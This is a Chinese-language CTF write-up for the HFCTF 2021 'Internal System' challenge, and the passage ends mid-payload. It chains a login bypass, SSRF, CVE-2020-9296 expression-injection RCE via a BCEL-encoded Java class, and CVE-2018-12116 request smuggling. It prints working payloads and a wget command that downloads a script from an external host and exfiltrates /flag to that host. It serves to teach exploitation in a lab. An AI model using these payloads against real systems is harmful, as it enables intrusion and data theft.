Internal System wp2021hfctf - 间桐金

admin 2021年12月31日15:16:31评论43 views字数 23236阅读77分27秒阅读模式

代码审计

const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
//hash加盐加密
const port = process.env.PORT || 3000
//表示监听端口
function formatResopnse(response) {
  if(typeof(response) !== typeof('')) {
    return JSON.stringify(response) 
    // stringify 将 JavaScript 值转换为 JSON 字符串。
  } else {
    return response
  }
}

function SSRF_WAF(url) {
  const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
///全局删除“[”,“]”
  return isIp(host) && IP.isPublic(host)
  //isPublic就能看出来是公网还是内网了
}

function FLAG_WAF(url) {
  const pathname = new UrlParse(url).pathname
  //提取一部分路径
  return !pathname.startsWith('/flag')
  //判断是否路径开始为/flag
}

function OTHER_WAF(url) {
  return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]

router.get('/', (req, res, next) => {
  if(req.session.admin === undefined || req.session.admin === null) {
    res.redirect('/login')
  } else {
    res.redirect('/index')
  }
})

router.get('/login', (req, res, next) => {
  const {username, password} = req.query;

  if(!username || !password || username === password || username.length === password.length || username === 'admin') {
    res.render('login')
    //没有绕过就回到login页面
  } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password))

    req.session.admin = hash === adminHash
//用户名和密码的加密,验证成功你就是管理员的session
    //如果hash===adminHash,则session.admin被赋值。(运算符优先级)
    res.redirect('/index')
  }
})

router.get('/index', (req, res, next) => {
  if(req.session.admin === undefined || req.session.admin === null) {
    res.redirect('/login')
    //session验证
  } else {
    res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})
  }
})

router.get('/proxy', async(req, res, next) => {
  if(!req.session.admin) {
    return res.redirect('/index')
  }
  //session.admin验证通过后才可以访问proxy
  const url = decodeURI(req.query.url);

  console.log(url)

  const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

  if(!status) { //waf验证
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
  } else {
    try {
      const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
      //开始进入啦
      res.render('base', response.data)
    } catch(error) {
      res.render('base', error.message)
    }
  }
})

router.post('/proxy', async(req, res, next) => { //发送post方法
  if(!req.session.admin) {
    return res.redirect('/index')
    //再验证session
  }
  // test url
  // not implemented here
  const url = "https://postman-echo.com/post"
  await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
  res.render('base', "Something needs to be implemented")
})


router.all('/search', async (req, res, next) => {
  if(!/127\.0\.0\.1/.test(req.ip)){
    return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
  }//这里标明要利用/proxy

  const result = {title: 'Search Success', content: ''}

  const method = req.method.toLowerCase()
  const url = decodeURI(req.query.url)
  const data = req.body //请求数据

  try {//判断请求方法
    if(method == 'get') {
      const response = await axios.get(url)
      result.content = formatResopnse(response.data)
    } else if(method == 'post') {
      const response = await axios.post(url, data)
      result.content = formatResopnse(response.data)
    } else {
      result.title = 'Error'
      result.content = 'Unsupported Method'
    }
  } catch(error) {
    result.title = 'Error'
    result.content = error.message
  }

  return res.json(result)
})

router.get('/source', (req, res, next)=>{
  res.sendFile( __dirname + "/" + "index.js");
})
//返回当前页面的js代码

router.get('/flag', (req, res, next) => {
  if(!/127\.0\.0\.1/.test(req.ip)){ //test方法判断127
    return res.send({title: 'Error', content: 'No Flag For You!'})
  }
  return res.json({hint: hint})
})

module.exports = router

跟着别人的wp,再查资料,自己加了些注释,勉强看懂了代码。

那么首先要绕过用户名的监测拿到session.admin来绕过大多数的waf

绕过

第一步绕过‘admin’

//当数组(其中元素是字符串)与字符串拼接时,会返回字符串,所以
'iam' + ['admin'] =  iamadmin
//题目中会用username和password拼接进行sha256加密,所以将username变成username[],同样得到正确

请求端口

测试了一下请求
Internal System wp2021hfctf -  间桐金
(好耶,浏览量+1)

进入内部

上面已经提到过代码中设置的监听端口

const port = process.env.PORT || 3000
那就用访问 http://0.0.0.0:3000

在服务器中,0.0.0.0指的是本机上的所有IPV4地址,如果一个主机有两个IP地址,192.168.1.1 和 10.1.2.1,并且该主机上的一个服务监听的地址是0.0.0.0,那么通过两个ip地址都能够访问该服务。
访问/flag页面,得到hint

因为FLAG_WAF方法中对proxy请求的路径中,如果以/flag开头,则会被挡住。

所以 0.0.0.0/flag是不可行的

但是却没有对search?url=${url}后的参数进行监测

那就可以http://0.0.0.0:3000/search?url=$ip:3000/flag

又且test方法要求以127.0.0.1访问url,那就构造

http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag

内网

Netflix Conductor初认识

上面已经得到hint:有Netflix Conductor服务

本菜鸡表示不知道这是啥玩意。。。

Netflix Conductor:一个微服务编排工具
(自己理解的)
微服务又是啥?我觉得类似就是把整坨缠绕的服务分开成单个小服务,再用api连接起来,牺牲接口的简易度换来单个小服务的复杂性降低,单个小服务的更新速度和复杂度降低。
tips:通过分布式和微服务架构的异同可以更好的了解
微服务编排工具:上面已经提到,各个微服务的连接和协作的难易度被提高了,但用户仍然只需要一个便于操作的“总服务”,所以就需要把这些微服务编排起来,如何并联或串联。这种理念被实体化就是微服务编排工具。

我去翻了翻官方文档,感觉并非像大多数wp中所描述的

网上找到它的端口在 8080,那么先来探测一下内网,找一下哪台机器是那个服务器
而是其在8080端口存在Swagger APIs管理工具(图中有官方文档链接)

而Netflix Conductor所在的ip,根据Netflix Conductor的官方

Start UI Server
The UI Server is in the directory conductor/ui.
To run it, you need Node.js installed and gulp installed with npm i -g gulp.
In a terminal other than the one running the Conductor server:
cd ui
npm i
gulp watch

If you get an error message ReferenceError: primordials is not defined, you need to use an earlier version of Node (pre-12). See this issue for more details.
Or Start all the services using docker-compose
cd docker
docker-compose up

If you ran it locally, launch UI at http://localhost:3000/ OR if you ran it using docker-compose launch the UI at http://localhost:5000/

使用docker容器的话得到两个信息:

  1. 端口可能是3000或5000被分配UI
  2. docker的分配ip,类似172.1x.0.x(这里待考证,从别人wp复制来的,晚点去查一查)

端口与ip

我是在buu上复现的,直接在admin登陆界面给了几个ip

{"lo":[{"address":"127.0.0.1","netmask":"255.0.0.0","family":"IPv4","mac":"00:00:00:00:00:00","internal":true,"cidr":"127.0.0.1/8"}],"eth0":[{"address":"10.0.218.9","netmask":"255.255.255.0","family":"IPv4","mac":"02:42:0a:00:da:09","internal":false,"cidr":"10.0.218.9/24"}],"eth1":[{"address":"10.128.0.219","netmask":"255.255.0.0","family":"IPv4","mac":"52:54:00:9b:70:fe","internal":false,"cidr":"10.128.0.219/16"}]}

这里的ip不是盲目扫出来的,根据CIDR(无类域间路由)的计算划定测试范围(都是8的倍数,挺好算的)

//http://fbccb903-3401-4a61-813f-8486f0075a84.node3.buuoj.cn/proxy?url=http%3A%2F%2F0.0.0.0:3000%2Fsearch%3Furl%3Dhttp%3A%2F%2F10.0.117.14%3A8080%2Fapi%2Fadmin%2Fconfig

得到版本信息:

{"title":"Search Success","content":"{\"jetty.git.hash\":\"b1e6b55512e008f7fbdf1cbea4ff8a6446d1073b\",\"loadSample\":\"true\",\"io.netty.noUnsafe\":\"true\",\"conductor.jetty.server.enabled\":\"true\",\"io.netty.noKeySetOptimization\":\"true\",\"buildDate\":\"2021-04-03_17:38:09\",\"io.netty.recycler.maxCapacityPerThread\":\"0\",\"conductor.grpc.server.enabled\":\"false\",\"version\":\"2.26.0-SNAPSHOT\",\"queues.dynomite.nonQuorum.port\":\"22122\",\"workflow.elasticsearch.url\":\"es:9300\",\"workflow.namespace.queue.prefix\":\"conductor_queues\",\"user.timezone\":\"GMT\",\"workflow.dynomite.cluster.name\":\"dyno1\",\"sun.nio.ch.bugLevel\":\"\",\"workflow.dynomite.cluster.hosts\":\"dyno1:8102:us-east-1c\",\"workflow.elasticsearch.instanceType\":\"external\",\"db\":\"dynomite\",\"queues.dynomite.threads\":\"10\",\"workflow.namespace.prefix\":\"conductor\",\"workflow.elasticsearch.index.name\":\"conductor\"}"}

RCE

CVE-2020-9296 1day

准备Evil.java并编码

public class Evil
{
    public Evil() {
        try {
            Runtime.getRuntime().exec("wget http://159.75.72.126:9998/1.txt -O /tmp/hfctf");
            //Runtime.getRuntime().exec("sh /tmp/hfctf");
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

继续

javac Evil.java

//获取编码工具,但是它下载下来还只是java文件,要打包
git clone https://github.com/f1tz/BCELCodeman.git 

//下面打包
cd BCELCodeman/src
javac Main.java
jar -cvfm BCELCodeman.jar ../META-INF/MANIFEST.MF Main.class
//注意要回到Evil.class目录
java -jar BCELCodeman/src/BCELCodeman.jar e Evil.class

//我编码得到的如下:
‘’‘
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A
’‘’

构造json

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

CVE-2018-12116

记得hgame里面有一题类似绕过中间件的请求走私,感觉差不多

我的靶机的内网ip:10.0.26.14:8080

准备payload

post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}[email protected]\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'

//post_payload中BCEL编码部分注意换成自己编码得到的内容

console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.26.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))

//url后的ip注意换成自己打的靶机的内网ip,其他可以全copy

//运行得到payload2
//http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.26.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1506%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

准备vps上的shell脚本写入文件,上传到靶机

在Evil.java的同目录下准备几个文件

1.txt(服务器将命令通过wget方法回传)

#!/bin/sh
wget http://159.75.72.126:9998/?hfctf=`cat /flag|base64`

开启监听端口

python3 -m http.server 9998

发送payload2后

Internal System wp2021hfctf -  间桐金
可以看到http已经有反应了

远程执行脚本

更改Evil.java内容并重新编码

public class Evil
{
    public Evil() {
        try {
            //Runtime.getRuntime().exec("wget http://159.75.72.126:9998/1.txt -O /tmp/hfctf");
            Runtime.getRuntime().exec("sh /tmp/hfctf");
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}
javac Evil.java

//利用已经打包好的工具
java -jar BCELCodeman-main/src/BCELCodeman.jar e Evil.class

//得到编码:
//$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$Ul$a1$W$v$m$u$f8$H$ba$Q4$91$8d$3b$8c$h$a3$x$fc$89$Q$5d$b8$b1$d4$B$G$a1$902$Q$de$c85$h4$$$7c$A$lJ$bdS$T1$d1I$e6N$ef$b9g$be$3b3$7d$ffx$7d$Dp$88$j$T$R$y$9bH$p$T$c1$8aZW$NdM$y$mg$60$cd$c0$3a$83$7e$q$3c$n$8f$ZB$c5$d2$NC$f8$a4$ff$c0$Z$e2U$e1$f1$8bQ$af$c1$fd$ba$d3$e8$92$S$abI$c7$7d$3cw$GA$k$ec$ce$92$bd$e7$I$8f$nS$bc$abv$9c$b1S$ee$3a$5e$ab$5c$93$be$f0Z$V$853k$fd$91$ef$f23$a1$Q$d1$d3$b1$e8$k$u$9f$85$uL$D$h$W6$b1E$eca$3b_$96$bdA$b9$ddte$d3B$k$F$86$d4$ix$3aq$f9$40$8a$bega$h$suU$m$G$7b$ee$b8lt$b8$x$Z$Ss$e9z$e4I$d1$a3$b6f$8b$cb$9f$q$5d$yU$ffx$w$84$e4$T$ee2$ec$W$ff$b9$c7$_$e9$ca$ef$bb$7c8$a4$N$f1$B$Ve$f0$uu$dfq9$K0$e8$b1$d5$d0$c0$d4$fd$u$$RvO$b9Fkf$ef$Z$ec$FZ24C$f8$f6$J$91$ea$fe$M$fa$94$5ca$c4$60$d3$3f$d1$60$91$_$H$9db$88T$9dt$93$w$R$q$88$97$sZ$8c$w6$b4O$K$cc$c0$92$K$f10$d5lr$7cw$cb$d2djN$83$P$F$d4$D$81$ccH$G$87K$7d$B$86w$A$dd$l$C$A$A

同样方法构建payload3

post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$Ul$a1$W$v$m$u$f8$H$ba$Q4$91$8d$3b$8c$h$a3$x$fc$89$Q$5d$b8$b1$d4$B$G$a1$902$Q$de$c85$h4$$$7c$A$lJ$bdS$T1$d1I$e6N$ef$b9g$be$3b3$7d$ffx$7d$Dp$88$j$T$R$y$9bH$p$T$c1$8aZW$NdM$y$mg$60$cd$c0$3a$83$7e$q$3c$n$8f$ZB$c5$d2$NC$f8$a4$ff$c0$Z$e2U$e1$f1$8bQ$af$c1$fd$ba$d3$e8$92$S$abI$c7$7d$3cw$GA$k$ec$ce$92$bd$e7$I$8f$nS$bc$abv$9c$b1S$ee$3a$5e$ab$5c$93$be$f0Z$V$853k$fd$91$ef$f23$a1$Q$d1$d3$b1$e8$k$u$9f$85$uL$D$h$W6$b1E$eca$3b_$96$bdA$b9$ddte$d3B$k$F$86$d4$ix$3aq$f9$40$8a$bega$h$suU$m$G$7b$ee$b8lt$b8$x$Z$Ss$e9z$e4I$d1$a3$b6f$8b$cb$9f$q$5d$yU$ffx$w$84$e4$T$ee2$ec$W$ff$b9$c7$_$e9$ca$ef$bb$7c8$a4$N$f1$B$Ve$f0$uu$dfq9$K0$e8$b1$d5$d0$c0$d4$fd$u$$RvO$b9Fkf$ef$Z$ec$FZ24C$f8$f6$J$91$ea$fe$M$fa$94$5ca$c4$60$d3$3f$d1$60$91$_$H$9db$88T$9dt$93$w$R$q$88$97$sZ$8c$w6$b4O$K$cc$c0$92$K$f10$d5lr$7cw$cb$d2djN$83$P$F$d4$D$81$ccH$G$87K$7d$B$86w$A$dd$l$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}[email protected]\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'

//post_payload中BCEL编码部分注意换成自己编码得到的内容

console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.26.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))

//url后的ip注意换成自己打的靶机的内网ip,其他可以全copy

//运行得到payload3
//http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.26.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1427%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$Ul$a1$W$v$m$u$f8$H$ba$Q4$91$8d$3b$8c$h$a3$x$fc$89$Q$5d$b8$b1$d4$B$G$a1$902$Q$de$c85$h4$$$7c$A$lJ$bdS$T1$d1I$e6N$ef$b9g$be$3b3$7d$ffx$7d$Dp$88$j$T$R$y$9bH$p$T$c1$8aZW$NdM$y$mg$60$cd$c0$3a$83$7e$q$3c$n$8f$ZB$c5$d2$NC$f8$a4$ff$c0$Z$e2U$e1$f1$8bQ$af$c1$fd$ba$d3$e8$92$S$abI$c7$7d$3cw$GA$k$ec$ce$92$bd$e7$I$8f$nS$bc$abv$9c$b1S$ee$3a$5e$ab$5c$93$be$f0Z$V$853k$fd$91$ef$f23$a1$Q$d1$d3$b1$e8$k$u$9f$85$uL$D$h$W6$b1E$eca$3b_$96$bdA$b9$ddte$d3B$k$F$86$d4$ix$3aq$f9$40$8a$bega$h$suU$m$G$